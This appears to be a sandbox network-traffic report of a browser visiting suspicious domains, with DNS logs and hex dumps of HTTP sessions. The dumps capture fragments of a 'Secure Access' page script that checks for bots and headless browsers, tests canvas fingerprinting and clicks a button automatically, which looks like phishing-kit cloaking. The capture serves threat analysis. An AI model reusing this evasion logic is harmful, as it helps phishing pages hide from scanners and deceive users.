Mar 24, 2025 18:18:39.839637041 CET	64065	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:39.839844942 CET	52065	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:39.840382099 CET	60221	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:39.840826988 CET	50774	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:39.947716951 CET	53	60221	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:39.949914932 CET	53	64065	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:39.956573009 CET	53	52065	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:39.985493898 CET	53	50774	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:41.159560919 CET	56978	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:41.159955978 CET	52178	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:18:41.278592110 CET	53	52178	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:41.278614998 CET	53	56978	1.1.1.1	192.168.2.16
Mar 24, 2025 18:18:43.944439888 CET	53	56323	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:06.885561943 CET	53	57741	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:06.944092989 CET	53	51092	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:09.141171932 CET	53	56927	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:09.717596054 CET	53	64879	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:09.899621010 CET	64042	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:19:09.899782896 CET	59421	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:19:09.900124073 CET	65531	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:19:09.900409937 CET	64266	53	192.168.2.16	1.1.1.1
Mar 24, 2025 18:19:10.002886057 CET	53	64042	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:10.003020048 CET	53	65531	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:10.004223108 CET	53	64266	1.1.1.1	192.168.2.16
Mar 24, 2025 18:19:10.004264116 CET	53	59421	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 24, 2025 18:18:07.860199928 CET	192.168.2.16	1.1.1.1	c205	(Port unreachable)	Destination Unreachable
Mar 24, 2025 18:18:13.439460039 CET	192.168.2.16	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Mar 24, 2025 18:18:14.243760109 CET	192.168.2.16	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Mar 24, 2025 18:18:36.696633101 CET	192.168.2.16	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable
Mar 24, 2025 18:18:38.258949995 CET	192.168.2.16	1.1.1.1	c241	(Port unreachable)	Destination Unreachable
Mar 24, 2025 18:18:39.985579014 CET	192.168.2.16	1.1.1.1	c241	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2025 18:18:16.918641090 CET	539	OUT	GET /api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 24, 2025 18:18:17.122824907 CET	579	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 24 Mar 2025 17:18:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5 cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9257d3ac0aa1c64a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 32 38 33 36 37 30 33 37 39 36 26 61 6d 70 3b 68 61 73 68 3d 34 36 39 64 62 37 62 30 66 36 30 39 65 62 38 38 62 30 33 64 38 37 63 61 62 37 63 32 62 37 61 31 66 61 65 65 62 35 31 65 32 61 65 65 37 65 31 32 39 36 65 61 38 38 62 38 61 61 31 33 39 64 61 35 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1742836703796&hash=469db7b0f609eb88b03d87cab7c2b7a1faeeb51e2aee7e1296ea88b8aa139da5">Moved Permanently</a>.
Mar 24, 2025 18:19:02.124269009 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:08 UTC	665	OUT	GET / HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:08 UTC	998	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Last-Modified: Fri, 07 Mar 2025 13:28:12 GMT Content-MD5: HpRQ9QgNu+gcm1rfSWWkcA== X-Frame-Options: DENY x-ms-request-id: df7d51b7-001e-0072-70e0-9cffaf000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nUDwJfmbsKXN9Knu5xtDWhacGVGa3z9cVD6eiKVNu%2Fb9f0x8OmopnMPXK%2FhimOyArBgIQ9DXWplXR4FmfBvU5HvULN2Ui4tVvLh1amXuHKBnTT7YDFLVi1o%2BcafpoUltxko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d3764fced911-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101247&min_rtt=100776&rtt_var=21714&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1237&delivery_rate=36949&cwnd=247&unsent_bytes=0&cid=476563dfcef70d67&ts=392&x=0"
2025-03-24 17:18:08 UTC	371	IN	Data Raw: 63 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 65 63 75 72 65 20 41 63 63 65 73 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 20 20 20 Data Ascii: c20<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Access</title> <link rel="stylesheet" href="styles.css"></head><body>
2025-03-24 17:18:08 UTC	1369	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 77 69 64 74 68 3d 22 38 30 22 20 68 65 69 67 68 74 3d 22 38 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 32 48 36 43 34 2e 39 20 32 20 34 20 32 2e 39 20 34 20 32 30 43 34 20 32 31 2e 31 20 34 2e 39 20 32 32 20 36 20 32 32 48 31 38 43 31 39 2e 31 20 32 32 20 32 30 20 32 31 2e 31 20 32 30 20 32 30 56 38 4c 31 34 20 32 5a 22 20 66 69 6c 6c 3d 22 23 30 30 37 38 44 34 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 Data Ascii: > <svg width="80" height="80" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M14 2H6C4.9 2 4 2.9 4 20C4 21.1 4.9 22 6 22H18C19.1 22 20 21.1 20 20V8L14 2Z" fill="#0078D4"/> <path
2025-03-24 17:18:08 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 22 62 6c 6f 63 6b 22 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 41 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 62 75 74 74 6f 6e 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 73 65 72 76 65 72 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 3b 20 2f 2f 20 53 74 6f 70 20 6f 62 73 65 72 76 69 6e 67 20 61 66 74 65 72 Data Ascii: if (accessBtn && accessBtn.style.display === "block") { console.log(" Automatically clicking the button..."); accessBtn.click(); observer.disconnect(); // Stop observing after
2025-03-24 17:18:08 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-24 17:18:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:08 UTC	546	OUT	GET /styles.css HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://nrro.ogquwu.top/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:08 UTC	1089	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:08 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 322 Cache-Control: max-age=14400 ETag: W/"0x8DD5D7BE8A31031" Last-Modified: Fri, 07 Mar 2025 13:28:12 GMT Vary: Accept-Encoding Content-MD5: XhpBsINOUeRdMYEYdYeySw== X-Frame-Options: DENY x-ms-request-id: 0f742227-601e-0016-15c8-9c0e37000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1gxxwxCQ9u%2F%2FAH6kvvZMeoOIsPfJIfHvlKaKfCT4gz8uBEBSjdQkOkoILKFVNY0qZ5tssoZdCwNh0%2FeGjpE8vX%2FZZp%2Bs670MUp9rGurr4jLJAHaUeTEmX8jxVXQH6aUGA3c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d377efd643c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101157&min_rtt=100787&rtt_var=21610&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1118&delivery_rate=36945&cwnd=241&unsent_bytes=0&cid=96409acf6a1be401&ts=579&x=0"
2025-03-24 17:18:08 UTC	280	IN	Data Raw: 36 38 35 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b Data Ascii: 685body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background-color: #f9f9f9;}.container { max-width: 600px; margin: auto; padding: 20px; background: white; border-radius: 8px;
2025-03-24 17:18:08 UTC	1369	IN	Data Raw: 20 31 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 3b 0d 0a 7d 0d 0a 0d 0a 68 31 20 7b 20 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 20 0d 0a 7d 0d 0a 0d 0a 70 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 20 2f 2a 20 e2 9c 85 20 53 6d 6f 6f 74 68 20 66 61 64 65 2d 6f 75 74 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 72 6f 67 72 65 73 73 2d 63 6f 6e Data Ascii: 10px rgba(0, 0, 0, 0.1);}h1 { color: #333; }p { font-size: 18px; color: #555; transition: opacity 0.5s ease-in-out; /* Smooth fade-out */}.hidden { opacity: 0; pointer-events: none;}.progress-con
2025-03-24 17:18:08 UTC	27	IN	Data Raw: 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 61 39 65 3b 20 0d 0a 7d 0d 0a 0d 0a Data Ascii: und-color: #005a9e; }
2025-03-24 17:18:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:08 UTC	531	OUT	GET /script.js HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nrro.ogquwu.top/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:09 UTC	1092	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 17:18:09 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 323 Cache-Control: max-age=14400 ETag: W/"0x8DD5D7C0C04328D" Last-Modified: Fri, 07 Mar 2025 13:29:11 GMT Vary: Accept-Encoding Content-MD5: ik/hdPfUVQKmlpX5KgzdOQ== X-Frame-Options: DENY x-ms-request-id: 0f74224a-601e-0016-37c8-9c0e37000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tsUpP4mbyCNuYADsn%2FVHCZCMFkgdN78y4ZQCdodm2gvfBRAHPsOlsXy0xYRVpkVLH34W%2FUCrvQ%2Fm8Cea1hcFdaHU6vV9hb9bHvbTLtBtFC3IqjJsmtyulUYH2KbG5zgFgoU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d37a2c05c436-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104512&min_rtt=104365&rtt_var=22237&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1103&delivery_rate=35547&cwnd=215&unsent_bytes=0&cid=e37451968471da5c&ts=398&x=0"
2025-03-24 17:18:09 UTC	277	IN	Data Raw: 66 36 35 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 73 65 72 49 50 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 65 73 70 6f 6e 73 65 20 3d 20 61 77 61 69 74 20 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 36 34 2e 69 70 69 66 79 2e 6f 72 67 3f 66 6f 72 6d 61 74 3d 6a 73 6f 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 64 61 74 61 20 3d 20 61 77 61 69 74 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 61 74 61 2e 69 70 3b 0d 0a 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 6f 72 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 49 Data Ascii: f65async function getUserIP() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('Failed to get I
2025-03-24 17:18:09 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 27 30 2e 30 2e 30 2e 30 27 3b 20 2f 2f 20 44 65 66 61 75 6c 74 20 49 50 20 69 6e 20 63 61 73 65 20 6f 66 20 65 72 72 6f 72 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 e2 9c 85 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 44 65 74 65 63 74 20 43 61 6e 76 61 73 20 46 69 6e 67 65 72 70 72 69 6e 74 69 6e 67 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 43 61 6e 76 61 73 42 6c 6f 63 6b 65 64 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 61 6e 76 61 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 74 78 20 3d 20 63 61 6e 76 61 73 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 29 3b 0d Data Ascii: return '0.0.0.0'; // Default IP in case of error }}// Function to Detect Canvas Fingerprintingfunction isCanvasBlocked() { try { const canvas = document.createElement("canvas"); const ctx = canvas.getContext("2d");
2025-03-24 17:18:09 UTC	1369	IN	Data Raw: 7c 7c 20 28 69 73 48 65 61 64 6c 65 73 73 20 26 26 20 69 73 53 75 73 70 69 63 69 6f 75 73 45 78 65 63 75 74 69 6f 6e 29 3b 0d 0a 7d 0d 0a 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 4c 6f 61 64 69 6e 67 28 29 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 70 72 6f 67 72 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 6c 65 74 20 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 27 29 3b 0d 0a 0d 0a 20 20 20 20 6c 65 74 20 69 73 42 6f 74 20 3d 20 64 65 74 65 63 74 42 6f 74 4c 6f Data Ascii: \|\| (isHeadless && isSuspiciousExecution);}async function startLoading() { document.querySelector('.progress-container').style.display = 'block'; let processingText = document.getElementById('processingText'); let isBot = detectBotLo
2025-03-24 17:18:09 UTC	933	IN	Data Raw: 28 28 29 20 3d 3e 20 7b 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 20 61 63 63 65 73 73 42 74 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 61 63 63 65 73 73 42 74 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 27 62 6c 6f 63 6b 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 42 75 74 74 6f 6e 20 64 65 74 65 63 74 65 64 2e 20 43 6c 69 63 6b 69 6e 67 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: (() => { let accessBtn = document.getElementById('accessBtn'); if (accessBtn && accessBtn.style.display === 'block') { console.log(" Button detected. Clicking automatically..."); accessBtn.click();
2025-03-24 17:18:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:09 UTC	593	OUT	GET /favicon.ico HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nrro.ogquwu.top/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:09 UTC	1044	IN	HTTP/1.1 404 The requested content does not exist. Date: Mon, 24 Mar 2025 17:18:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: EXPIRED Access-Control-Allow-Origin: * Cache-Control: max-age=14400 Vary: Accept-Encoding X-Frame-Options: DENY x-ms-error-code: WebContentNotFound x-ms-request-id: d0d954d7-b01e-0015-19e0-9cef53000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2YiGwBt7zJ7GVOVVvPGfW%2Fo8xZZg45HFoC%2FHvaqhQfSyKcZo5mgzB96MFcrt11f936K8t0isejdehe3dkjWH%2F%2By1BirVy%2FBWaxKc5TdQlHgq%2B7hCUM9Z7I1cL0o1Z6QNKIQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9257d37e5f661a5c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105421&min_rtt=105151&rtt_var=22589&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1165&delivery_rate=35156&cwnd=229&unsent_bytes=0&cid=0035bb824090dab2&ts=424&x=0"
2025-03-24 17:18:09 UTC	325	IN	Data Raw: 31 34 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 6e 74 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 68 31 3e 3c 70 3e 3c 75 6c 3e 3c 6c 69 3e 48 74 74 70 53 74 61 74 75 73 43 6f 64 65 3a 20 34 30 34 3c 2f 6c 69 3e 3c 6c 69 3e 45 72 72 6f 72 43 6f 64 65 3a 20 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 6c 69 3e 3c 6c 69 3e 52 65 71 75 65 73 74 49 64 20 3a 20 64 30 64 39 35 34 64 37 2d 62 30 31 65 2d 30 30 31 35 2d 31 39 65 30 2d 39 63 65 66 35 33 30 30 30 30 30 30 3c 2f 6c 69 3e 3c Data Ascii: 141<!DOCTYPE html><html><head><title>WebContentNotFound</title></head><body><h1>The requested content does not exist.</h1><p><ul><li>HttpStatusCode: 404</li><li>ErrorCode: WebContentNotFound</li><li>RequestId : d0d954d7-b01e-0015-19e0-9cef53000000</li><
2025-03-24 17:18:09 UTC	3	IN	Data Raw: 3e 0d 0a Data Ascii: >
2025-03-24 17:18:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:09 UTC	533	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: nrro.ogquwu.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
